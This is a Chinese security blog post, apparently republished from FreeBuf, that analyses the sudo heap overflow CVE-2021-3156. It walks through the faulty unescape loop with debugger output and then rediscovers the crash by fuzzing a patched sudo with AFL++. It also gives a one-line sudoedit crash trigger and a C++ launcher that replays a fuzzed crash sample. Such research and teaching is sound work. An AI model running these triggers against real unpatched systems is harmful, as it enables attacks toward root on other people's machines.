高端的二进制0day挖掘,往往只需要从1day的分析开始
2024-8-23 10:11:53 Author: www.freebuf.com(查看原文) 阅读量:24 收藏

这个漏洞在sudo中是一个堆溢出漏洞,从Qualys团队的公告可知,该漏洞可以实现本地提权。影响范围较大,从 1.8.2 到 1.8.31p2 的所有旧版本和从 1.9.0 到 1.9.5p1 的所有稳定版本都受影响,且在macOS上也会受到影响。

2021年2月3日更新:据报道macOS, AIX和Solaris也容易受到CVE-2021-3156的攻击,其他平台也可能同样脆弱,但Qualys尚未独立证实该漏洞。

原帖子:Qualys研究团队在sudo中发现了一个堆溢出漏洞,sudo是一个几乎无处不在的实用程序,可以在主要的类unix操作系统上使用。任何非特权用户都可以通过使用默认sudo配置利用此漏洞获得易受攻击主机上的root权限。

Sudo是一个功能强大的实用程序,包含在大多数基于Unix和linux的操作系统中,它允许用户以其他用户的安全权限运行程序。近10年来,这个漏洞一直是灯下黑的状态。它是在2011年7月引入的(由8255ed69 提交),从1.8.2到1.8.31p2的所有遗留版本以及从1.9.0到1.9.5p1的所有稳定版本的默认配置均受影响。

成功利用此漏洞允许任何无特权用户在易受攻击的主机上获得root权限。Qualys的安全研究人员已经能够独立验证该漏洞,并开发出多种漏洞变体,并在Ubuntu 20.04 (Sudo 1.8.31)、Debian 10 (Sudo 1.8.27)和Fedora 33 (Sudo 1.9.2)上获得完全root权限。其他操作系统和发行版本也可能被利用。在Qualys研究团队确认该漏洞后,Qualys立即负责任地进行了漏洞披露,并与sudo的作者和开源发行版协商公布了该漏洞。

Qualys Blogpost 原文(https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit)

二、漏洞分析

结合Qualys团队的公告

in sudoers_policy_main(), set_cmnd() concatenates the command-line arguments into a heap-based buffer “user_args” (lines 864-871) and unescapes the meta-characters (lines 866-867), “for sudoers matching and logging purposes”:

漏洞触发poc

parallels@parallels-Parallels-Virtual-Platform:~$ sudoedit -i '\' `python3 -c "print('A' * 65535)"`malloc(): corrupted top sizeAborted (core dumped)

漏洞产生的代码位于 plugins/sudoers/sudoers.c 的 set_cmnd 函数,位于sudoers.c:864行的 for循环体内

在854 处,为args 分配内存, 然后再通过循环复制过去
1724378795_66c7eeabcf8a47340ce89.png!small?1724378795920
问题就出现在868行, 如果from[0] 为 "\"(图里有两个斜杠是因为需要转义) ,且后一个字符不为空字符,就会再次进入循环体内执行。

为了方便理解,执行过程用最短的触发漏洞的poc

pwndbg>set args -i '\' `python3 -c 'print("ABCDEFGHIJK")'`pwndbg>rStartingprogram: /usr/local/bin/sudoedit -i '\' `python3 -c 'print("ABCDEFGHIJK")'`[Threaddebugging using libthread_db enabled]Usinghost libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Breakpoint5, set_cmnd () at ./sudoers.c:802802{LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────────────────────────────[REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────RAX0x0RBX0x560f9d74c038 —▸ 0x560f9d744200 ◂— '/bin/bash'RCX0x687361622f6e69RDX0xaRDI0x560f9d744200 ◂— '/bin/bash'RSI0x7361622f6e69622f ('/bin/bas')R80x560f9d744200 ◂— '/bin/bash'R90x560f9d7450c0 ◂— 0xeb0R100x560f9d735010 ◂— 0x100000000R110x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0R120x560f9d3aa840 (_start) ◂— endbr64 R130x7fffa50945e0 ◂— 0x4R140x0R150x0RBP0x7fffa5094250 —▸ 0x7fffa50942c0 —▸ 0x7fffa5094320 —▸ 0x7fffa50944f0 ◂— 0x0RSP0x7fffa5094178 —▸ 0x7f2b6899fd5e (sudoers_policy_main+1281) ◂— mov    dword ptr [rbp - 0x84], eaxRIP0x7f2b689a174a (set_cmnd) ◂— endbr64 ─────────────────────────────────────────────────────────────────────────────────────────[DISASM ]──────────────────────────────────────────────────────────────────────────────────────────►0x7f2b689a174a <set_cmnd>       endbr64 0x7f2b689a174e<set_cmnd+4>     push   rbp0x7f2b689a174f<set_cmnd+5>     mov    rbp, rsp0x7f2b689a1752<set_cmnd+8>     push   rbx0x7f2b689a1753<set_cmnd+9>     sub    rsp, 0x780x7f2b689a1757<set_cmnd+13>    mov    rax, qword ptr [rip + 0x3bb6a] <sudo_user+40>0x7f2b689a175e<set_cmnd+20>    mov    qword ptr [rbp - 0x40], rax0x7f2b689a1762<set_cmnd+24>    mov    dword ptr [rbp - 0x74], 00x7f2b689a1769<set_cmnd+31>    lea    rax, [rip + 0x3bcb0]          <sudoers_subsystem_ids>0x7f2b689a1770<set_cmnd+38>    mov    eax, dword ptr [rax + 0x38]0x7f2b689a1773<set_cmnd+41>    mov    dword ptr [rbp - 0x70], eax──────────────────────────────────────────────────────────────────────────────────────[SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────Infile: /home/parallels/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c797* Fill in user_cmnd, user_args, user_base and user_stat variables798* and apply any command-specific defaults entries.799*/800static int801set_cmnd(void)►802 {803struct sudo_nss *nss;804char *path = user_path;805int ret = FOUND;806debug_decl(set_cmnd, SUDOERS_DEBUG_PLUGIN)807──────────────────────────────────────────────────────────────────────────────────────────[STACK ]──────────────────────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffa5094178 —▸ 0x7f2b6899fd5e (sudoers_policy_main+1281) ◂— mov    dword ptr [rbp - 0x84], eax01:0008│     0x7fffa5094180 —▸ 0x7fffa5094280 —▸ 0x7fffa50945f0 —▸ 0x560f9d3cbd29 ◂— 'sudoedit'02:0010│     0x7fffa5094188 —▸ 0x7fffa50942a0 —▸ 0x7fffa5094390 ◂— 0x003:0018│     0x7fffa5094190 ◂— 0x7f00691991f304:0020│     0x7fffa5094198 ◂— 0x005:0028│     0x7fffa50941a0 —▸ 0x7fffa50945f0 —▸ 0x560f9d3cbd29 ◂— 'sudoedit'06:0030│     0x7fffa50941a8 ◂— 0x30000000007:0038│     0x7fffa50941b0 ◂— 0x3000000028 /* '(' */────────────────────────────────────────────────────────────────────────────────────────[BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────►f 0   0x7f2b689a174a set_cmndf1   0x7f2b6899fd5e sudoers_policy_main+1281f2   0x7f2b6899b444 sudoers_policy_check+194f3   0x560f9d3c311a policy_check+258f4   0x560f9d3beb91 main+1523f5   0x7f2b68f8e083 __libc_start_main+243

断点在set_cmnd内, sudoers.c:854行

─────────────────────────────────────────────────────────────────────────────────────────[DISASM ]──────────────────────────────────────────────────────────────────────────────────────────0x7f2b689a1b5c<set_cmnd+1042>    add    qword ptr [rbp - 0x28], 80x7f2b689a1b61<set_cmnd+1047>    mov    rax, qword ptr [rbp - 0x28]0x7f2b689a1b65<set_cmnd+1051>    mov    rax, qword ptr [rax]0x7f2b689a1b68<set_cmnd+1054>    test   rax, rax0x7f2b689a1b6b<set_cmnd+1057>    jne    set_cmnd+1012                <set_cmnd+1012>►0x7f2b689a1b6d <set_cmnd+1059>    cmp    qword ptr [rbp - 0x20], 00x7f2b689a1b72<set_cmnd+1064>    je     set_cmnd+1101                <set_cmnd+1101>0x7f2b689a1b74<set_cmnd+1066>    mov    rax, qword ptr [rbp - 0x20]0x7f2b689a1b78<set_cmnd+1070>    mov    rdi, rax0x7f2b689a1b7b<set_cmnd+1073>    call   malloc@plt                <malloc@plt>0x7f2b689a1b80<set_cmnd+1078>    mov    qword ptr [rip + 0x3b789], rax <sudo_user+112>──────────────────────────────────────────────────────────────────────────────────────[SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────Infile: /home/parallels/Desktop/CVE-2021-3156/sudo-SUDO_1_8_31/sudo-SUDO_1_8_31/plugins/sudoers/sudoers.c849size_t size, n;850851/* Alloc and build up user_args. */852for (size = 0, av = NewArgv + 1; *av; av++)853size += strlen(*av) + 1;►854       if (size == 0 || (user_args = malloc(size)) == NULL) {855sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));856debug_return_int(-1);857}858if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {859

这里 user_args = malloc(size), 就是给argv[2],argv[3] 分配的堆内存

0x7f2b689a1b7b<set_cmnd+1073>    call   malloc@plt                <malloc@plt>

跟到 malloc,malloc ret以后rax 里就存着 user_args的地址

RAX  0x560f9d7442c0 —▸ 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0RBX  0x560f9d74c038 —▸ 0x560f9d744200 ◂— '/bin/bash'RCX  0x560f9d7442d0 ◂— 0x0RDX  0xdf1RDI  0x0RSI  0x560f9d7442b0 ◂— 0x0R8   0x560f9d7442c0 —▸ 0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0R9   0x560f9d7450c0 ◂— 0xdf0R10  0x560f9d735010 ◂— 0x100000000R11  0x7f2b69156be0 (main_arena+96) —▸ 0x560f9d74c070 ◂— 0x0R12  0x560f9d3aa840 (_start) ◂— endbr64 R13  0x7fffa50945e0 ◂— 0x4R14  0x0R15  0x0RBP  0x7fffa5094170 —▸ 0x7fffa5094250 —▸ 0x7fffa50942c0 —▸ 0x7fffa5094320 —▸ 0x7fffa50944f0 ◂— ...*RSP  0x7fffa50940f0 ◂— 0x5b0000006e/* 'n' */*RIP  0x7f2b689a1b80 (set_cmnd+1078) ◂— mov    qword ptr [rip + 0x3b789], rax─────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────0x7f2b69004186 <malloc+166>       pop    rbx0x7f2b69004187 <malloc+167>       mov    rax, r80x7f2b6900418a <malloc+170>       pop    rbp0x7f2b6900418b <malloc+171>       pop    r120x7f2b6900418d<malloc+173>       ret    ► 0x7f2b689a1b80 <set_cmnd+1078>    mov    qword ptr [rip + 0x3b789], rax <sudo_user+112>0x7f2b689a1b87 <set_cmnd+1085>    mov    rax, qword ptr [rip + 0x3b782] <sudo_user+112>0x7f2b689a1b8e <set_cmnd+1092>    test   rax, rax0x7f2b689a1b91 <set_cmnd+1095>    jne    set_cmnd+1315<set_cmnd+1315>0x7f2b689a1c6d<set_cmnd+1315>    mov    eax, dword ptr [rip + 0x3b61d] <sudo_mode>0x7f2b689a1c73 <set_cmnd+1321>    and    eax, 0x60000

这个时候chunk的地址是 0x560f9d7442c0继续执行到

if(from[0] == '\\'&& !isspace((unsigned char)from[1]))

1724378830_66c7eece1e5b51be1e78e.png!small?1724378830409

很明显,[rbp - 0x30] 就是from的起始地址,

RBX: 0x7fffa5094170,再减 0x30

pwndbg> x/10xg 0x7fffa5094170 - 0x300x7fffa5094140:   0x00007fffa50961ee   0x0000560f9d74c0400x7fffa5094150:   0x000000000000000e0x00007f2b6900938f0x7fffa5094160:   0x00000000000000000x0000560f9d74c0380x7fffa5094170:   0x00007fffa5094250   0x00007f2b6899fd5e0x7fffa5094180:   0x00007fffa5094280   0x00007fffa50942a0

再读取 0x00007fffa50961ee的内容

pwndbg> x/5s0x00007fffa50961ee0x7fffa50961ee:   "\\"0x7fffa50961f0:   "ABCDEFGHIJK"0x7fffa50961fc:   "SHELL=/bin/bash"0x7fffa509620c:   "COLORTERM=truecolor"0x7fffa5096220:   "SUDO_GID=1000"pwndbg> x/10xg 0x00007fffa50961ee0x7fffa50961ee:   0x464544434241005c0x4853004b4a4948470x7fffa50961fe:   0x6e69622f3d4c4c45   0x4f4300687361622f0x7fffa509620e:   0x3d4d524554524f4c   0x6f6c6f63657572740x7fffa509621e:   0x475f4f4455530072   0x00303030313d44490x7fffa509622e:   0x4d4f435f4f445553   0x73752f3d444e414d

所以大概就是把 0x7fffa50961ee的内容 复制到 0x560f9d7442c0的过程但是问题就出现在

864for(to = user_args, av = NewArgv + 1; (from= *av); av++) {► 865while(*from) {866if(from[0] == '\\'&& !isspace((unsigned char)from[1]))867from++;868*to++ = *from++;869}870*to++ = ' ';

C 库函数 int isspace(int c) 检查所传的字符是否是空白字符。

标准的空白字符包括:

' '(0x20)    space (SPC) 空格符't'(0x09)    horizontal tab (TAB) 水平制表符    'n'(0x0a)    newline (LF) 换行符'v'(0x0b)    vertical tab (VT) 垂直制表符'f'(0x0c)    feed (FF) 换页符'r'(0x0d)    carriage return(CR) 回车符

因为 0x7fffa50961ee: 0x464544434241005c,5c后面是0x00

如果 ‘\’ 的下一个字符是,非空白字符,则from++,然后 *to++ = *from++; 导致while跳过了一个0x00,然后整个循环多复制了一次 ‘ABCDEFGHIJK’。可以看下原本的chunk地址

复制前

pwndbg> x/10xg 0x560f9d7442c00x560f9d7442c0:   0x00007f2b69156be0   0x00007f2b69156be00x560f9d7442d0:   0x00000000000000000x0000000000000df10x560f9d7442e0:   0x00007f2b69156be0   0x00007f2b69156be00x560f9d7442f0:   0x00000000000000000x00000000000000000x560f9d744300:   0x207372656f647573   0x6e6f2073656c6966

复制后

pwndbg> x/10xg 0x560f9d7442c00x560f9d7442c0:   0x47464544434241000x434241204b4a49480x560f9d7442d0:   0x4b4a4948474645440x0000000000000d00 #这里已经把f1覆盖成00了0x560f9d7442e0:   0x00007f2b69156be0   0x00007f2b69156be00x560f9d7442f0:   0x00000000000000000x00000000000000000x560f9d744300:   0x207372656f647573   0x6e6f2073656c6966pwndbg> x/5s0x560f9d7442c00x560f9d7442c0:   ""0x560f9d7442c1:   "ABCDEFGHIJK ABCDEFGHIJK"0x560f9d7442d9:   "\r"0x560f9d7442db:   ""0x560f9d7442dc:   ""pwndbg> unsortedbinunsortedbinall: 0x560f9d7442d0 —▸ 0x7f2b69156be0 (main_arena+96) ◂— 0x560f9d7442d0pwndbg> x/10xg 0x560f9d7442d00x560f9d7442d0:   0x4b4a4948474645440x0000000000000d000x560f9d7442e0:   0x00007f2b69156be0   0x00007f2b69156be00x560f9d7442f0:   0x00000000000000000x00000000000000000x560f9d744300:   0x207372656f647573   0x6e6f2073656c69660x560f9d744310:   0x65646172677075200x206c65654620202e

可以看到复制的时候把 unsortedbin 里的 0x560f9d7442d0 的size给覆盖了

然后gdb continue,就能看到

malloc(): invalid next size (unsorted)

Program received signal SIGABRT, Aborted.

pwndbg> unsortedbinunsortedbinall: 0x560f9d7442d0 —▸ 0x7f2b69156be0 (main_arena+96) ◂— 0x560f9d7442d0pwndbg> x/10xg 0x560f9d7442d00x560f9d7442d0:   0x4b4a4948474645440x0000000000000d000x560f9d7442e0:   0x00007f2b69156be0   0x00007f2b69156be00x560f9d7442f0:   0x00000000000000000x00000000000000000x560f9d744300:   0x207372656f647573   0x6e6f2073656c69660x560f9d744310:   0x65646172677075200x206c65654620202epwndbg> cContinuing.malloc(): invalid next size (unsorted)Program received signal SIGABRT, Aborted.__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:5050../sysdeps/unix/sysv/linux/raise.c: No such file or directory.LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────*RAX  0x0*RBX  0x7f2b68f63280 ◂— 0x7f2b68f63280*RCX  0x7f2b68fad00b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]*RDX  0x0*RDI  0x2*RSI  0x7fffa5093670 ◂— 0x0*R8   0x0*R9   0x7fffa5093670 ◂— 0x0*R10  0x8*R11  0x246*R12  0x7fffa50938e0 ◂— 0x0*R13  0x10*R14  0x7f2b691ea000 ◂— 0x6c6c616d00001000*R15  0x1*RBP  0x7fffa50939c0 ◂— 0x0*RSP  0x7fffa5093670 ◂— 0x0*RIP  0x7f2b68fad00b (raise+203) ◂— mov    rax, qword ptr [rsp + 0x108]─────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────► 0x7f2b68fad00b <raise+203>    mov    rax, qword ptr [rsp + 0x108]0x7f2b68fad013 <raise+211>    xor    rax, qword ptr fs:[0x28]0x7f2b68fad01c <raise+220>    jne    raise+260<raise+260>0x7f2b68fad044 <raise+260>    call   __stack_chk_fail                <__stack_chk_fail>0x7f2b68fad049                nop    dword ptr [rax]0x7f2b68fad050 <killpg>       endbr64 0x7f2b68fad054 <killpg+4>     test   edi, edi0x7f2b68fad056 <killpg+6>     js     killpg+16<killpg+16>0x7f2b68fad058 <killpg+8>     neg    edi0x7f2b68fad05a <killpg+10>    jmp    kill                <kill>0x7f2b68fad05f<killpg+15>    nop    ──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────00:0000│ rsi r9 rsp 0x7fffa5093670 ◂— 0x001:0008│            0x7fffa5093678 ◂— 0x102:0010│            0x7fffa5093680 ◂— 0xffffffff03:0018│            0x7fffa5093688 ◂— 0x7fff0000000004:0020│            0x7fffa5093690 —▸ 0x7f2b69180c28 ◂— 0xe00120000069b05:0028│            0x7fffa5093698 —▸ 0x7f2b691a3510 —▸ 0x7f2b6917f000 ◂— 0x10102464c457f06:0030│            0x7fffa50936a0 ◂— 0x007:0038│            0x7fffa50936a8 ◂— 0x0────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────► f 00x7f2b68fad00b raise+203f 10x7f2b68f8c859 abort+299f 20x7f2b68ff726e __libc_message+670f 30x7f2b68fff2fcf 40x7f2b6900210c _int_malloc+1692f 50x7f2b69004154 malloc+116f 60x7f2b691893eb sudo_getgrouplist2_v1+165f 70x7f2b689b8b33 sudo_make_gidlist_item+467

这是我们已经知道漏洞点和poc 的情况,那如果不知道漏洞点和poc那就要fuzz了。

三、漏洞复现

接下来我们的任务就是要用alf把漏洞复现出来

1. 首先编译对应版本的sudo

It was introduced in July 2011 (commit 8255ed69) and affects all legacy versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to 1.9.5p1in their default configuration

我这里选择了Sudo version 1.8.31, 先正常编译确认漏洞存在

# 自己编的sudoedit在/usr/local/bin/sudoeditwgethttps://github.com/sudo-project/sudo/archive/SUDO_1_8_31.tar.gztar-xvf SUDO_1_8_31.tar.gzcdsudo-SUDO_1_8_31; ./configureCFLAGS="-g" CPPFLAGS="-g"make-j4 makeinstall # 存在漏洞sudoedit-i '\' `python3 -c 'print("A" * 65535)'`malloc(): corrupted top sizeAborted(core dumped)

2. 确认存在漏洞后就要开始修改sudo的源码方便做argv fuzz

1). 首先arg fuzzing要用到

https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/argv_fuzzing

具体用法

Without persistent mode

Conditions needed to use the argv_fuzzing feature:

1. Include argv-fuzz-inl.h header file (#include "argv-fuzz-inl.h")

2. Identify your main function that parses arguments (for example, int main(int argc, char **argv))

3. Use one of the following macros (near the beginning of the main function) to initialize argv with the fuzzer's input: AFL_INIT_ARGV(); or AFL_INIT_SET0("prog_name"); to preserve argv[0] (the name of the program being executed)

复制 argv-fuzz-inl.h 到sudo源码的src目录下, 添加 #include "argv-fuzz-inl.h" 到sudo.c 里面
1724378856_66c7eee83a5c45fe60a8d.png!small?1724378856273
然后添加 AFL_INIT_SET0("sudoedit"); 到 main 函数最前面,当然你也可以用 AFL_INIT_ARGV();但是 AFL_INIT_SET0("sudoedit") 可以帮助你固定 argv[0] 是sudoedit,提高fuzz的效率。sudoedit是sudo的软链接本质启动的还是sudo,但是因为单独启动sudo 和 sudoedit的时候argv[0],不一样,所以走的不是一样的逻辑。

1724378866_66c7eef25a18dbe92bcd9.png!small?1724378866478

2). 修改密码验证函数

fuzz的时候会遇到输入密码的阶段,为了让密码验证函数直接返回密码错误的结果,需要修改对应的函数,在auth/sudo_auth.c的verify_user 函数,添加一个return 0。

1724378874_66c7eefa4511c7851b880.png!small?1724378874822

caseAUTH_FAILURE:...ret = false;

当运行到 case AUTH_FAILURE的时候(密码验证失败),在verify_user()函数尾部把 0 赋值给了 ret,在函数最后一行 debug_return_int(ret);实际运行的是

do{ intsudo_debug_ret = (ret); sudo_debug_exit_int_v1((__func__), ("/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/auth/sudo_auth.c"), (368), (sudo_debug_subsys), (sudo_debug_ret)); returnsudo_debug_ret; } while(0)

所以最终 sudo_debug_ret 也是 0,因此可以直接在这个函数前面直接添加一个return 0,来确保密码错误的情况,同时跳过密码输入。

1724378885_66c7ef05277191c414641.png!small?1724378886349

3). 实测发现 main ——> initprogname 会优先使用__progname宏获取程序名,而不是argv[0]

所以要修改 initprogname函数的第一行,改成 # if 0,相当于直接执行另一个分支把argv[0]赋值给progname
1724378894_66c7ef0e1c3f4564c2039.png!small?1724378894580

3. 编译修改过后的sudo

改完以上的地方就可以开始用 afl-clang-fast 编译了,-g选项是方便调试的,--disable-shared 表示静态编译. AFL_USE_ASAN=1表示编译时开启ASAN检测内存错误,

CFLAGS="-g"LDFLAGS="-g"CC=afl-clang-fast ./configure --disable-shared --prefix=/home/parallels/Desktop/CVE-2021-3156/ALF_Changed_sudo/sudo-SUDO_1_8_31AFL_USE_ASAN=1 make -j12make install

4. 设置种子文件开始fuzz

变异种子文件可以用echo写,或者其他方法都可以,然后放在 sudo-SUDO_1_8_31路径的input文件夹内

hexdump-C seed.bin 0000000073 75 64 6f 65 64 69 74  00 41 42 43 44 61 62 63  |sudoedit.ABCDabc|0000001064 00 00                                          |d..|00000013

后就可以开始fuzz,两个线程同时运行

afl-fuzz -m none-i input/ -o output/  -MMaster/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo -dafl-fuzz -m none-i input/ -o output/  -Sslave1 /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo -d

获得了好几个crash

1724378908_66c7ef1c84972b0d75f5b.png!small?1724378909208

1724378917_66c7ef257fabbc55d46a2.png!small?1724378918015

随便拿一个crash来复现

hexdump-C id:000001,sig:06,src:000089,time:435506,op:int16,pos:30,val:+5120000000073 da 64 01 73 81 50 f8  00 2d 69 00 10 74 00 73  |s.d.s.P..-i..t.s|0000001071 0c 6f 65 64 69 74 7e  de 64 6f 65 64 5c 00 02  |q.oedit~.doed\..|0000002004 10 ff                                          |...|00000023

因为有argv_fuzz,所以可以从标准输入读取crash样本

parallels@parallels-Parallels-Virtual-Platform:~/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31$ ./bin/sudo < output/Master/crashes/id:000000,sig:06,src:000055,time:138620,op:arith8,pos:13,val:-24===================================================================228111==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000008f8 at pc 0x00000054fe2a bp 0x7ffdc14e9110 sp 0x7ffdc14e9108WRITE of size 1at 0x6030000008f8 thread T0#00x54fe29 in set_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10#10x54fe29 in sudoers_policy_main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:306:19#20x5408efin sudoers_policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./policy.c:872:11#30x4f454din policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:1142:11#40x4f454din main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:257:11#50x7f540c20c082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)#60x420a7din _start (/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo+0x420a7d)0x6030000008f8 is located 0bytes to the right of 24-byteregion [0x6030000008e0,0x6030000008f8)allocated by thread T0 here:#00x49897din malloc (/home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/bin/sudo+0x49897d)#10x54b7e8in set_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:854:36#20x54b7e8in sudoers_policy_main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:306:19#30x5408efin sudoers_policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./policy.c:872:11#40x4f454din policy_check /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:1142:11#50x4f454din main /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/src/./sudo.c:257:11#60x7f540c20c082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)SUMMARY: AddressSanitizer: heap-buffer-overflow /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10in set_cmndShadow bytes around the buggy address:0x0c067fff80c0: fa fa 00000000fa fa 00000000fa fa 00000x0c067fff80d0: 0000fa fa 00000000fa fa 00000000fa fa0x0c067fff80e0: 00000000fa fa 00000000fa fa 000000000x0c067fff80f0: fa fa 00000000fa fa 00000000fa fa 00000x0c067fff8100: 0000fa fa 00000000fa fa 00000000fa fa=>0x0c067fff8110: fd fd fd fa fa fa fd fd fd fd fa fa 000000[fa]0x0c067fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa0x0c067fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa0x0c067fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa0x0c067fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa0x0c067fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa faShadow bytelegend (one shadow byterepresents 8application bytes):Addressable:           00Partially addressable: 01020304050607Heap left redzone:       faFreed heap region:       fdStack left redzone:      f1Stack mid redzone:       f2Stack right redzone:     f3Stack after return:      f5Stack use after scope:   f8Global redzone:          f9Global init order:       f6Poisoned by user:        f7Container overflow:      fcArray cookie:            acIntra object redzone:    bbASan internal:           feLeft alloca redzone:     caRight alloca redzone:    cbShadow gap:              cc==228111==ABORTING

可以看到问题发生在

#0 0x54fe29 inset_cmnd /home/parallels/Desktop/CVE-2021-3156/AFL_Changed_sudo/sudo-SUDO_1_8_31/plugins/sudoers/./sudoers.c:868:10

sudoers.c:868行,和之前分析的一样,shadow memory 显示发生了堆越界,覆盖了Heap left redzone

1724378929_66c7ef31a5bbdf3db3c7e.png!small?1724378930633

5. 在正常编译的sudo的复现

因为正常编译的sudo上没有argv fuzz,所以可以写一个程序来读取crash 样本作为参数在用execve来启动sudoedit,但是值得注意的是,我们之前用AFL_INIT_SET0("sudoedit") 固定了argv[0],所以用 execve 启动的时候要把样本的argv[0] 改成 sudoedit。

原来的crash样本

hexdump-C id:000001,sig:06,src:000089,time:435506,op:int16,pos:30,val:+5120000000073 da 64 01 73 81 50 f8  00 2d 69 00 10 74 00 73  |s.d.s.P..-i..t.s|0000001071 0c 6f 65 64 69 74 7e  de 64 6f 65 64 5c 00 02  |q.oedit~.doed\..|0000002004 10 ff                                          |...|00000023

修改argv[0]后

hexdump -C crash_tmp3 000000007375646f65646974002d6900105c 0073|sudoedit.-i..\.s|00000010710c 6f656469747e  de 646f65644c 747f|q.oedit~.doedLt.|000000200410ff                                          |...|00000023

然后program5.cpp 读取crash_tmp3 样本作为参数在用execve来启动sudoedit,

#include<iostream>#include<fstream>#include<vector>#include<sstream>#include<unistd.h>intmain(){// 打开 crash_tmp 文件std::ifstream file("crash_tmp3", std::ios::binary);if(!file.is_open()) {std::cerr<< "Failed to open file."<< std::endl;return1;}// 读取文件内容并转换为字符串std::ostringstreamoss;oss << file.rdbuf();std::stringfile_contents = oss.str();// 将文件内容解析为命令行参数std::vector<std::string> args;std::stringarg;for(charc : file_contents) {if(c == '\0') {args.push_back(arg);arg.clear();} else{arg += c;}}// 添加最后一个参数if(!arg.empty()) {args.push_back(arg);}// 将字符串数组转换为 C 风格的 argvstd::vector<char*> argv;for(auto& str : args) {argv.push_back(&str[0]);}argv.push_back(nullptr); // argv 结尾标志// 准备额外的环境变量char* extra_args[] = { nullptr};// 打印 argc 和 argvstd::cout<< "argc: "<< args.size() << std::endl;std::cout<< "argv:"<< std::endl;for(inti = 0; i < args.size(); ++i) {std::cout<< "  "<< i << ": "<< argv[i] << std::endl;}std::cout<< args[0].c_str() << std::endl;std::cout<< argv.data() << std::endl;// 在此处调用 sudoedit,并传递 argc 和 argvif(execve("/usr/local/bin/sudoedit", argv.data(), extra_args) == -1) {std::cerr<< "Failed to execute sudoedit."<< std::endl;return1;}// execve 成功时不会返回,如果执行到这里说明出错std::cerr<< "Error: execve should not return."<< std::endl;return1;}

g++ 编译program5.cpp 以后

./program5argc: 4argv:0: sudoedit1: -i2: \3: sqoedit~�doedLt�sudoedit0x563952b73310malloc(): corrupted top sizeAborted(core dumped)

样本触发崩溃,成功通过fuzz到poc复现sudo漏洞

四、结论

这个漏洞复现难点在于修改 sudo的源码的部分,需要在修改的同时不影响其核心的运行逻辑,

下一章,我们将讨论这个漏洞的具体漏洞利用。


文章来源: https://www.freebuf.com/articles/system/409259.html
如有侵权请联系:admin#unsafe.sh